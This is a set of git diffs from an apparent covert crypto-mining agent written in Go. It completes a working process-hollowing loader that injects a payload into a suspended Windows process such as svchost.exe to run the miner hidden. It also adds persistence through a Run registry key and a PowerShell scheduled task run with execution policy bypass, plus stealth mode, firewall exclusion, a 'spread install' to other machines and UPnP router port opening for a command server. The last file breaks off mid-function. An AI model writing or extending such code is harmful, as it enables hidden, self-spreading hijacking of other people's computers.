MEM_RESERVE = 0x2000
|
||||
PAGE_EXECUTE_READWRITE = 0x40
|
||||
CONTEXT_FULL_AMD64 = 0x10000B
|
||||
|
||||
IMAGE_REL_BASED_ABSOLUTE = 0
|
||||
IMAGE_REL_BASED_DIR64 = 10
|
||||
)
|
||||
|
||||
// RunHollowed injects a byte array (PE payload) into a suspended legitimate Windows process.
|
||||
// rvaToFileOffset translates a virtual address (RVA) in the PE to its raw file offset.
|
||||
func rvaToFileOffset(payload []byte, rva, eLFANew, sizeOfOptHdr uint32) (uint32, error) {
|
||||
numSections := binary.LittleEndian.Uint16(payload[eLFANew+6:])
|
||||
sectionsBase := eLFANew + 24 + uint32(sizeOfOptHdr)
|
||||
for i := uint32(0); i < uint32(numSections); i++ {
|
||||
sec := payload[sectionsBase+i*40:]
|
||||
vAddr := binary.LittleEndian.Uint32(sec[12:])
|
||||
vSize := binary.LittleEndian.Uint32(sec[8:])
|
||||
rawOff := binary.LittleEndian.Uint32(sec[20:])
|
||||
if rva >= vAddr && rva < vAddr+vSize {
|
||||
return rawOff + (rva - vAddr), nil
|
||||
}
|
||||
}
|
||||
return 0, fmt.Errorf("RVA 0x%x not found in any section", rva)
|
||||
}
|
||||
|
||||
// applyRelocations patches absolute addresses in the payload copy when the image
|
||||
// was loaded at a different base than its preferred one. Only IMAGE_REL_BASED_DIR64
|
||||
// (type 10) entries are applied; all other types are skipped.
|
||||
func applyRelocations(payload []byte, delta int64, eLFANew, sizeOfOptHdr uint32) {
|
||||
optHeader := payload[eLFANew+24:]
|
||||
// DataDirectory[5] is IMAGE_DIRECTORY_ENTRY_BASERELOC.
|
||||
// DataDirectory array starts at offset 112 in a PE32+ optional header.
|
||||
const dataDirOffset = 112
|
||||
if len(optHeader) < dataDirOffset+5*8+8 {
|
||||
return
|
||||
}
|
||||
relocRVA := binary.LittleEndian.Uint32(optHeader[dataDirOffset+5*8:])
|
||||
relocSize := binary.LittleEndian.Uint32(optHeader[dataDirOffset+5*8+4:])
|
||||
if relocRVA == 0 || relocSize == 0 {
|
||||
return // no relocation table (non-PIE binary baked for a fixed address)
|
||||
}
|
||||
|
||||
blockOff, err := rvaToFileOffset(payload, relocRVA, eLFANew, sizeOfOptHdr)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
end := blockOff + relocSize
|
||||
for blockOff < end && blockOff+8 <= uint32(len(payload)) {
|
||||
pageRVA := binary.LittleEndian.Uint32(payload[blockOff:])
|
||||
blkSize := binary.LittleEndian.Uint32(payload[blockOff+4:])
|
||||
if blkSize < 8 {
|
||||
break
|
||||
}
|
||||
entryCount := (blkSize - 8) / 2
|
||||
for i := uint32(0); i < entryCount; i++ {
|
||||
entry := binary.LittleEndian.Uint16(payload[blockOff+8+i*2:])
|
||||
relType := entry >> 12
|
||||
relOff := uint32(entry & 0x0FFF)
|
||||
|
||||
if relType == IMAGE_REL_BASED_ABSOLUTE {
|
||||
continue
|
||||
}
|
||||
if relType != IMAGE_REL_BASED_DIR64 {
|
||||
continue
|
||||
}
|
||||
|
||||
patchRVA := pageRVA + relOff
|
||||
patchOff, err := rvaToFileOffset(payload, patchRVA, eLFANew, sizeOfOptHdr)
|
||||
if err != nil || int(patchOff)+8 > len(payload) {
|
||||
continue
|
||||
}
|
||||
orig := int64(binary.LittleEndian.Uint64(payload[patchOff:]))
|
||||
binary.LittleEndian.PutUint64(payload[patchOff:], uint64(orig+delta))
|
||||
}
|
||||
blockOff += blkSize
|
||||
}
|
||||
}
|
||||
|
||||
// RunHollowed injects a PE payload into a suspended legitimate Windows process.
|
||||
func RunHollowed(targetExe string, payload []byte) error {
|
||||
// Parse payload PE headers dynamically
|
||||
if len(payload) < 0x40 {
|
||||
return fmt.Errorf("payload too small")
|
||||
}
|
||||
e_lfanew := binary.LittleEndian.Uint32(payload[0x3c:])
|
||||
if int(e_lfanew)+24 > len(payload) {
|
||||
eLFANew := binary.LittleEndian.Uint32(payload[0x3c:])
|
||||
if int(eLFANew)+24 > len(payload) {
|
||||
return fmt.Errorf("invalid PE header offset")
|
||||
}
|
||||
|
||||
ntHeader := payload[e_lfanew:]
|
||||
ntHeader := payload[eLFANew:]
|
||||
if string(ntHeader[:4]) != "PE\x00\x00" {
|
||||
return fmt.Errorf("invalid PE signature")
|
||||
}
|
||||
@@ -51,7 +123,7 @@ func RunHollowed(targetExe string, payload []byte) error {
|
||||
}
|
||||
|
||||
numSections := binary.LittleEndian.Uint16(ntHeader[6:])
|
||||
sizeOfOptionalHeader := binary.LittleEndian.Uint16(ntHeader[20:])
|
||||
sizeOfOptHdr := binary.LittleEndian.Uint16(ntHeader[20:])
|
||||
optHeader := ntHeader[24:]
|
||||
if binary.LittleEndian.Uint16(optHeader[0:]) != 0x020B {
|
||||
return fmt.Errorf("payload must be PE32+")
|
||||
@@ -71,8 +143,8 @@ func RunHollowed(targetExe string, payload []byte) error {
|
||||
si.Cb = uint32(unsafe.Sizeof(*si))
|
||||
pi := new(syscall.ProcessInformation)
|
||||
|
||||
// 1. Create the target legitimate process (e.g. svchost.exe) in a suspended state
|
||||
ret, _, err := procCreateProcessW.Call(
|
||||
// 1. Spawn the target process in a suspended state.
|
||||
ret, _, lastErr := procCreateProcessW.Call(
|
||||
0,
|
||||
uintptr(unsafe.Pointer(targetPtr)),
|
||||
0, 0, 0,
|
||||
@@ -82,18 +154,13 @@ func RunHollowed(targetExe string, payload []byte) error {
|
||||
uintptr(unsafe.Pointer(pi)),
|
||||
)
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("CreateProcessW failed: %v", err)
|
||||
return fmt.Errorf("CreateProcessW: %v", lastErr)
|
||||
}
|
||||
defer syscall.CloseHandle(pi.Process)
|
||||
defer syscall.CloseHandle(pi.Thread)
|
||||
|
||||
// The following maps the exact structural steps needed for PE injection.
|
||||
// Note: To make this fully functional, you need full PE offset math
|
||||
// (e.g., extracting e_lfanew, SizeOfImage, ImageBase) from the payload slice.
|
||||
|
||||
// 2. Get Thread Context to locate the Process Environment Block (PEB)
|
||||
// Allocate 16-byte aligned context buffer for x64
|
||||
ctxBytes := make([]byte, 1232+16)
|
||||
// 2. Read thread context to obtain the PEB address (Rdx on x64 initial thread).
|
||||
ctxBytes := make([]byte, 1232+16) // CONTEXT is 1232 bytes; needs 16-byte alignment
|
||||
var ctxPtr uintptr
|
||||
for i := 0; i < 16; i++ {
|
||||
if uintptr(unsafe.Pointer(&ctxBytes[i]))%16 == 0 {
|
||||
@@ -101,73 +168,110 @@ func RunHollowed(targetExe string, payload []byte) error {
|
||||
break
|
||||
}
|
||||
}
|
||||
*(*uint32)(unsafe.Pointer(ctxPtr + 0x30)) = CONTEXT_FULL_AMD64 // ContextFlags
|
||||
*(*uint32)(unsafe.Pointer(ctxPtr + 0x30)) = CONTEXT_FULL_AMD64
|
||||
|
||||
ret, _, err = procGetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
|
||||
ret, _, lastErr = procGetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("GetThreadContext failed: %v", err)
|
||||
return fmt.Errorf("GetThreadContext: %v", lastErr)
|
||||
}
|
||||
|
||||
rdx := *(*uint64)(unsafe.Pointer(ctxPtr + 0x88)) // Rdx holds PEB address on x64
|
||||
rdx := *(*uint64)(unsafe.Pointer(ctxPtr + 0x88)) // Rdx = PEB pointer at thread start
|
||||
|
||||
// 3. Read the PEB to find the original ImageBase
|
||||
// 3. Read the original image base from the PEB (PEB.ImageBaseAddress is at offset +16).
|
||||
var origImageBase uint64
|
||||
var bytesRW uintptr
|
||||
procReadProcessMemory.Call(
|
||||
uintptr(pi.Process),
|
||||
uintptr(rdx+16), // PEB.ImageBaseAddress
|
||||
uintptr(rdx+16),
|
||||
uintptr(unsafe.Pointer(&origImageBase)),
|
||||
8,
|
||||
uintptr(unsafe.Pointer(&bytesRW)),
|
||||
)
|
||||
|
||||
// 4. Unmap the original executable code from memory
|
||||
// 4. Unmap the original image.
|
||||
if origImageBase != 0 {
|
||||
procNtUnmapViewOfSection.Call(uintptr(pi.Process), uintptr(origImageBase))
|
||||
}
|
||||
|
||||
// 5. Allocate new memory for our payload at the required ImageBase
|
||||
newMem, _, _ := procVirtualAllocEx.Call(uintptr(pi.Process), uintptr(imageBase), uintptr(sizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
|
||||
// 5. Allocate memory for the payload. Try preferred base first; fall back to ASLR.
|
||||
newMem, _, _ := procVirtualAllocEx.Call(
|
||||
uintptr(pi.Process), uintptr(imageBase), uintptr(sizeOfImage),
|
||||
MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
|
||||
)
|
||||
needsReloc := false
|
||||
if newMem == 0 {
|
||||
// Fallback allocation if preferred base is taken (Payload must support relocation)
|
||||
newMem, _, err = procVirtualAllocEx.Call(uintptr(pi.Process), 0, uintptr(sizeOfImage), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
|
||||
newMem, _, lastErr = procVirtualAllocEx.Call(
|
||||
uintptr(pi.Process), 0, uintptr(sizeOfImage),
|
||||
MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE,
|
||||
)
|
||||
if newMem == 0 {
|
||||
return fmt.Errorf("VirtualAllocEx failed: %v", err)
|
||||
return fmt.Errorf("VirtualAllocEx: %v", lastErr)
|
||||
}
|
||||
needsReloc = true
|
||||
}
|
||||
|
||||
// 6. Write the PE headers and each PE section into the new memory allocation
|
||||
procWriteProcessMemory.Call(uintptr(pi.Process), newMem, uintptr(unsafe.Pointer(&payload[0])), uintptr(sizeOfHeaders), uintptr(unsafe.Pointer(&bytesRW)))
|
||||
// 6. If we landed at a different base, patch absolute addresses in a local copy
|
||||
// before writing to the remote process. Without this the payload crashes on
|
||||
// every call through its import table and global data pointers.
|
||||
patched := payload
|
||||
if needsReloc {
|
||||
delta := int64(newMem) - int64(imageBase)
|
||||
patched = make([]byte, len(payload))
|
||||
copy(patched, payload)
|
||||
applyRelocations(patched, delta, eLFANew, uint32(sizeOfOptHdr))
|
||||
}
|
||||
|
||||
sectionsStart := 24 + uint32(sizeOfOptionalHeader)
|
||||
for i := uint16(0); i < numSections; i++ {
|
||||
secHdr := ntHeader[sectionsStart+uint32(i)*40:]
|
||||
virtAddr := binary.LittleEndian.Uint32(secHdr[12:])
|
||||
sizeOfRawData := binary.LittleEndian.Uint32(secHdr[16:])
|
||||
ptrToRawData := binary.LittleEndian.Uint32(secHdr[20:])
|
||||
|
||||
if sizeOfRawData > 0 {
|
||||
procWriteProcessMemory.Call(
|
||||
uintptr(pi.Process),
|
||||
newMem+uintptr(virtAddr),
|
||||
uintptr(unsafe.Pointer(&payload[ptrToRawData])),
|
||||
uintptr(sizeOfRawData),
|
||||
// 7. Write PE headers and sections to the remote process.
|
||||
ret, _, lastErr = procWriteProcessMemory.Call(
|
||||
uintptr(pi.Process), newMem,
|
||||
uintptr(unsafe.Pointer(&patched[0])), uintptr(sizeOfHeaders),
|
||||
uintptr(unsafe.Pointer(&bytesRW)),
|
||||
)
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("WriteProcessMemory (headers): %v", lastErr)
|
||||
}
|
||||
|
||||
sectionsStart := 24 + uint32(sizeOfOptHdr)
|
||||
patchedNT := patched[eLFANew:]
|
||||
for i := uint16(0); i < numSections; i++ {
|
||||
secHdr := patchedNT[sectionsStart+uint32(i)*40:]
|
||||
virtAddr := binary.LittleEndian.Uint32(secHdr[12:])
|
||||
rawSize := binary.LittleEndian.Uint32(secHdr[16:])
|
||||
rawOff := binary.LittleEndian.Uint32(secHdr[20:])
|
||||
|
||||
if rawSize > 0 {
|
||||
ret, _, lastErr = procWriteProcessMemory.Call(
|
||||
uintptr(pi.Process),
|
||||
newMem+uintptr(virtAddr),
|
||||
uintptr(unsafe.Pointer(&patched[rawOff])),
|
||||
uintptr(rawSize),
|
||||
uintptr(unsafe.Pointer(&bytesRW)),
|
||||
)
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("WriteProcessMemory (section %d): %v", i, lastErr)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Update the PEB with the new ImageBase
|
||||
procWriteProcessMemory.Call(uintptr(pi.Process), uintptr(rdx+16), uintptr(unsafe.Pointer(&newMem)), 8, uintptr(unsafe.Pointer(&bytesRW)))
|
||||
// 8. Update PEB.ImageBaseAddress to the actual allocation address.
|
||||
procWriteProcessMemory.Call(
|
||||
uintptr(pi.Process), uintptr(rdx+16),
|
||||
uintptr(unsafe.Pointer(&newMem)), 8,
|
||||
uintptr(unsafe.Pointer(&bytesRW)),
|
||||
)
|
||||
|
||||
// 7. Update the Thread Context to point to our payload's Entry Point
|
||||
*(*uint64)(unsafe.Pointer(ctxPtr + 0x80)) = uint64(newMem) + uint64(entryPoint) // Rcx holds entry point
|
||||
procSetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
|
||||
// 9. Set the initial thread's Rcx to our entry point.
|
||||
// The Windows loader calls RtlUserThreadStart(entry, param) with Rcx = entry point.
|
||||
*(*uint64)(unsafe.Pointer(ctxPtr + 0x80)) = uint64(newMem) + uint64(entryPoint)
|
||||
ret, _, lastErr = procSetThreadContext.Call(uintptr(pi.Thread), ctxPtr)
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("SetThreadContext: %v", lastErr)
|
||||
}
|
||||
|
||||
// 8. Resume the hollowed thread, launching our miner inside the target shell
|
||||
ret, _, err = procResumeThread.Call(uintptr(pi.Thread))
|
||||
// 10. Resume the hollowed thread.
|
||||
ret, _, lastErr = procResumeThread.Call(uintptr(pi.Thread))
|
||||
if ret == 0xFFFFFFFF {
|
||||
return fmt.Errorf("ResumeThread failed: %v", err)
|
||||
return fmt.Errorf("ResumeThread: %v", lastErr)
|
||||
}
|
||||
|
||||
return nil
|
||||
|
||||
@@ -23,6 +23,14 @@ func EnsureAgentID(installDir string) (string, error) {
|
||||
return id, nil
|
||||
}
|
||||
|
||||
// loadOrCreateAgentID reuses an existing agent.id when re-running spread install.
|
||||
func loadOrCreateAgentID(installDir string) (string, error) {
|
||||
if id, err := LoadAgentID(installDir); err == nil && id != "" {
|
||||
return id, nil
|
||||
}
|
||||
return EnsureAgentID(installDir)
|
||||
}
|
||||
|
||||
// LoadAgentID returns the persisted agent ID from the install directory.
|
||||
func LoadAgentID(installDir string) (string, error) {
|
||||
path := filepath.Join(installDir, agentIDFile)
|
||||
|
||||
@@ -2,40 +2,31 @@ package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
|
||||
"golang.org/x/sys/windows/registry"
|
||||
)
|
||||
|
||||
const runFlag = "--run"
|
||||
|
||||
// InstallIfNeeded copies the installer to a permanent location, registers auto-start,
|
||||
// and relaunches the miner from there. Returns true when the current process should exit.
|
||||
func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
||||
if isRunMode() {
|
||||
return false, nil
|
||||
}
|
||||
|
||||
currentExe, err := CurrentExecutable()
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
for _, arg := range os.Args[1:] {
|
||||
if arg == runFlag {
|
||||
return false, nil
|
||||
}
|
||||
}
|
||||
|
||||
installDir, err := resolveInstallDirWithFallback(cfg)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe")
|
||||
installedBin := filepath.Join(installDir, BinaryName(cfg))
|
||||
|
||||
if samePath(currentExe, installedExe) {
|
||||
if samePath(currentExe, installedBin) {
|
||||
return false, nil
|
||||
}
|
||||
|
||||
@@ -43,12 +34,12 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
||||
return false, fmt.Errorf("create install dir: %w", err)
|
||||
}
|
||||
|
||||
if err := copyFile(currentExe, installedExe); err != nil {
|
||||
if err := copyFile(currentExe, installedBin); err != nil {
|
||||
return false, fmt.Errorf("copy miner: %w", err)
|
||||
}
|
||||
_ = saveBackup(installedExe)
|
||||
_ = saveBackup(installedBin)
|
||||
|
||||
agentID, err := EnsureAgentID(installDir)
|
||||
agentID, err := loadOrCreateAgentID(installDir)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("agent id: %w", err)
|
||||
}
|
||||
@@ -58,151 +49,43 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
||||
logPath = ""
|
||||
}
|
||||
|
||||
if !cfg.StealthMode {
|
||||
_ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf(
|
||||
"worker=%s\nbuild=%s\nserver=%s\nagent_id=%s\ninstall_dir=%s\ninstalled_exe=%s\n",
|
||||
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, agentID, installDir, installedExe,
|
||||
)), 0644)
|
||||
writeInstalledMarker(cfg, installDir, installedBin, agentID)
|
||||
|
||||
if wantsSpreadInstall() {
|
||||
_ = setFirstRunSpreadMarker(installDir)
|
||||
}
|
||||
|
||||
if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" {
|
||||
if err := configureAutoStart(cfg, installedExe); err != nil {
|
||||
if err := configureAutoStart(cfg, installedBin); err != nil {
|
||||
return false, fmt.Errorf("auto-start: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
if err := configureRunMode(cfg, installedExe); err != nil {
|
||||
if err := configureRunMode(cfg, installedBin); err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
EnsureFirewallExclusion(cfg, installedExe)
|
||||
EnsureFirewallExclusion(cfg, installedBin)
|
||||
|
||||
if err := relaunch(installedExe, logPath); err != nil {
|
||||
if err := relaunch(installedBin, logPath); err != nil {
|
||||
return false, fmt.Errorf("start installed miner: %w", err)
|
||||
}
|
||||
|
||||
return true, nil
|
||||
}
|
||||
|
||||
func resolveInstallDirWithFallback(cfg config.RuntimeConfig) (string, error) {
|
||||
dir, err := cfg.InstallDirectory()
|
||||
if err == nil {
|
||||
return dir, nil
|
||||
// SpreadInstall performs silent install from a spread-kit launcher (same as InstallIfNeeded).
|
||||
func SpreadInstall(cfg config.RuntimeConfig) (bool, error) {
|
||||
if isLocalhostURL(cfg.ServerURL) {
|
||||
LogSpreadError("preflight", fmt.Errorf("server URL is localhost — workers on other machines cannot reach the command deck; re-forge with your LAN IP"))
|
||||
}
|
||||
|
||||
fallbacks := []string{"localappdata", "appdata", "temp"}
|
||||
seen := map[string]bool{strings.ToLower(cfg.InstallBase): true}
|
||||
for _, base := range fallbacks {
|
||||
if seen[base] {
|
||||
continue
|
||||
}
|
||||
seen[base] = true
|
||||
try := cfg
|
||||
try.InstallBase = base
|
||||
dir, tryErr := try.InstallDirectory()
|
||||
if tryErr == nil {
|
||||
return dir, nil
|
||||
}
|
||||
}
|
||||
return "", err
|
||||
}
|
||||
|
||||
func InstallDir(workerName, buildID string) (string, error) {
|
||||
return config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
WorkerName: workerName,
|
||||
BuildID: buildID,
|
||||
InstallBase: "localappdata",
|
||||
InstallRelativePath: config.DefaultInstallRelativePath,
|
||||
},
|
||||
}.InstallDirectory()
|
||||
}
|
||||
|
||||
func configureAutoStart(cfg config.RuntimeConfig, exePath string) error {
|
||||
k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
|
||||
ok, err := InstallIfNeeded(cfg)
|
||||
if err != nil {
|
||||
return err
|
||||
LogSpreadError("spread-install", err)
|
||||
return ok, err
|
||||
}
|
||||
defer k.Close()
|
||||
return k.SetStringValue(PersistenceKeyName(cfg), fmt.Sprintf(`"%s" %s`, exePath, runFlag))
|
||||
if ok {
|
||||
LogSpreadInfo("spread-install complete — worker relaunched from install dir")
|
||||
}
|
||||
|
||||
func configureRunMode(cfg config.RuntimeConfig, installedExe string) error {
|
||||
switch cfg.RunAs {
|
||||
case "scheduled", "service":
|
||||
return createScheduledTask(cfg, installedExe)
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
func createScheduledTask(cfg config.RuntimeConfig, exePath string) error {
|
||||
taskName := PersistenceKeyName(cfg)
|
||||
if taskName == "" {
|
||||
taskName = "CryptoMinerAgent"
|
||||
}
|
||||
script := fmt.Sprintf(
|
||||
`$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
|
||||
strings.ReplaceAll(exePath, `'`, `''`),
|
||||
runFlag,
|
||||
strings.ReplaceAll(taskName, `'`, `''`),
|
||||
)
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
func PersistenceKeyName(cfg config.RuntimeConfig) string {
|
||||
if cfg.StealthMode {
|
||||
return cfg.EffectiveProcessName()
|
||||
}
|
||||
name := sanitizeName(cfg.WorkerName)
|
||||
if name == "" {
|
||||
return cfg.EffectiveProcessName()
|
||||
}
|
||||
return "CryptoMiner-" + name
|
||||
}
|
||||
|
||||
func relaunch(exePath, logPath string) error {
|
||||
cmd := exec.Command(exePath, runFlag)
|
||||
cmd.Dir = filepath.Dir(exePath)
|
||||
if logPath != "" {
|
||||
cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
|
||||
}
|
||||
return cmd.Start()
|
||||
}
|
||||
|
||||
func sanitizeName(name string) string {
|
||||
replacer := strings.NewReplacer(" ", "-", "/", "-", "\\", "-", ":", "-", "*", "", "?", "", "\"", "", "<", "", ">", "", "|", "")
|
||||
return replacer.Replace(strings.TrimSpace(name))
|
||||
}
|
||||
|
||||
func samePath(a, b string) bool {
|
||||
a = filepath.Clean(a)
|
||||
b = filepath.Clean(b)
|
||||
if strings.EqualFold(a, b) {
|
||||
return true
|
||||
}
|
||||
aAbs, errA := filepath.Abs(a)
|
||||
bAbs, errB := filepath.Abs(b)
|
||||
if errA != nil || errB != nil {
|
||||
return false
|
||||
}
|
||||
return strings.EqualFold(aAbs, bAbs)
|
||||
}
|
||||
|
||||
func copyFile(src, dest string) error {
|
||||
in, err := os.Open(src)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer in.Close()
|
||||
|
||||
out, err := os.OpenFile(dest, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer out.Close()
|
||||
|
||||
_, err = io.Copy(out, in)
|
||||
return err
|
||||
return ok, err
|
||||
}
|
||||
|
||||
343
agent/deploy/natpunch.go
Normal file
343
agent/deploy/natpunch.go
Normal file
@@ -0,0 +1,343 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/xml"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
const ssdpAddr = "239.255.255.250:1900"
|
||||
|
||||
// NATPunchResult reports a UPnP port mapping attempt.
|
||||
type NATPunchResult struct {
|
||||
Success bool
|
||||
ExternalIP string
|
||||
ExternalPort int
|
||||
InternalPort int
|
||||
Method string
|
||||
Message string
|
||||
}
|
||||
|
||||
var (
|
||||
reLocation = regexp.MustCompile(`(?i)LOCATION:\s*(\S+)`)
|
||||
reControl = regexp.MustCompile(`(?i)<controlURL>([^<]+)</controlURL>`)
|
||||
reService = regexp.MustCompile(`(?i)urn:schemas-upnp-org:service:(WANIPConnection|WANPPPConnection):1`)
|
||||
)
|
||||
|
||||
// PunchUPnP maps externalPort -> internalPort on the local router via IGD UPnP.
|
||||
func PunchUPnP(internalPort, externalPort int, description string) (NATPunchResult, error) {
|
||||
if internalPort <= 0 {
|
||||
internalPort = 8989
|
||||
}
|
||||
if externalPort <= 0 {
|
||||
externalPort = internalPort
|
||||
}
|
||||
if description == "" {
|
||||
description = "AetherForge"
|
||||
}
|
||||
|
||||
location, err := discoverIGDLocation(4 * time.Second)
|
||||
if err != nil {
|
||||
return NATPunchResult{Method: "upnp", Message: err.Error()}, err
|
||||
}
|
||||
|
||||
controlURL, err := resolveWANControlURL(location)
|
||||
if err != nil {
|
||||
return NATPunchResult{Method: "upnp", Message: err.Error()}, err
|
||||
}
|
||||
|
||||
extIP, err := upnpGetExternalIP(controlURL)
|
||||
if err != nil {
|
||||
return NATPunchResult{Method: "upnp", Message: "GetExternalIP failed: " + err.Error()}, err
|
||||
}
|
||||
|
||||
if err := upnpAddPortMapping(controlURL, externalPort, internalPort, description); err != nil {
|
||||
return NATPunchResult{
|
||||
Method: "upnp",
|
||||
ExternalIP: extIP,
|
||||
ExternalPort: externalPort,
|
||||
InternalPort: internalPort,
|
||||
Message: err.Error(),
|
||||
}, err
|
||||
}
|
||||
|
||||
msg := fmt.Sprintf("UPnP mapped %s:%d -> local :%d (%s)", extIP, externalPort, internalPort, description)
|
||||
return NATPunchResult{
|
||||
Success: true,
|
||||
ExternalIP: extIP,
|
||||
ExternalPort: externalPort,
|
||||
InternalPort: internalPort,
|
||||
Method: "upnp",
|
||||
Message: msg,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// CloseUPnP removes a UPnP port mapping.
|
||||
func CloseUPnP(externalPort int) (string, error) {
|
||||
if externalPort <= 0 {
|
||||
return "", fmt.Errorf("external port required")
|
||||
}
|
||||
location, err := discoverIGDLocation(3 * time.Second)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
controlURL, err := resolveWANControlURL(location)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := upnpDeletePortMapping(controlURL, externalPort); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return fmt.Sprintf("UPnP mapping removed for external port %d", externalPort), nil
|
||||
}
|
||||
|
||||
// GetPublicEndpoint returns WAN IP via UPnP when available.
|
||||
func GetPublicEndpoint() (string, error) {
|
||||
location, err := discoverIGDLocation(3 * time.Second)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
controlURL, err := resolveWANControlURL(location)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return upnpGetExternalIP(controlURL)
|
||||
}
|
||||
|
||||
func discoverIGDLocation(timeout time.Duration) (string, error) {
|
||||
conn, err := net.ListenPacket("udp4", ":0")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
target, _ := net.ResolveUDPAddr("udp4", ssdpAddr)
|
||||
search := []byte("M-SEARCH * HTTP/1.1\r\n" +
|
||||
"HOST: 239.255.255.250:1900\r\n" +
|
||||
"MAN: \"ssdp:discover\"\r\n" +
|
||||
"MX: 2\r\n" +
|
||||
"ST: urn:schemas-upnp-org:device:InternetGatewayDevice:1\r\n" +
|
||||
"\r\n")
|
||||
_ = conn.SetDeadline(time.Now().Add(timeout))
|
||||
if _, err := conn.WriteTo(search, target); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
buf := make([]byte, 4096)
|
||||
for {
|
||||
n, _, err := conn.ReadFrom(buf)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
body := string(buf[:n])
|
||||
if m := reLocation.FindStringSubmatch(body); len(m) == 2 {
|
||||
return strings.TrimSpace(m[1]), nil
|
||||
}
|
||||
}
|
||||
return "", fmt.Errorf("no UPnP IGD found on LAN (SSDP timeout)")
|
||||
}
|
||||
|
||||
func resolveWANControlURL(deviceLocation string) (string, error) {
|
||||
client := &http.Client{Timeout: 8 * time.Second}
|
||||
resp, err := client.Get(deviceLocation)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
text := string(body)
|
||||
if !reService.MatchString(text) {
|
||||
return "", fmt.Errorf("WANIPConnection service not found in IGD description")
|
||||
}
|
||||
m := reControl.FindStringSubmatch(text)
|
||||
if len(m) != 2 {
|
||||
return "", fmt.Errorf("UPnP controlURL not found")
|
||||
}
|
||||
controlPath := strings.TrimSpace(m[1])
|
||||
base := deviceLocation
|
||||
if idx := strings.Index(base, "://"); idx >= 0 {
|
||||
if slash := strings.Index(base[idx+3:], "/"); slash >= 0 {
|
||||
base = base[:idx+3+slash]
|
||||
}
|
||||
}
|
||||
if strings.HasPrefix(controlPath, "http") {
|
||||
return controlPath, nil
|
||||
}
|
||||
if !strings.HasPrefix(controlPath, "/") {
|
||||
controlPath = "/" + controlPath
|
||||
}
|
||||
return base + controlPath, nil
|
||||
}
|
||||
|
||||
func upnpGetExternalIP(controlURL string) (string, error) {
|
||||
body := `<?xml version="1.0"?>
|
||||
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
|
||||
<s:Body>
|
||||
<u:GetExternalIPAddress xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"/>
|
||||
</s:Body>
|
||||
</s:Envelope>`
|
||||
resp, err := upnpSOAP(controlURL, "GetExternalIPAddress", body)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
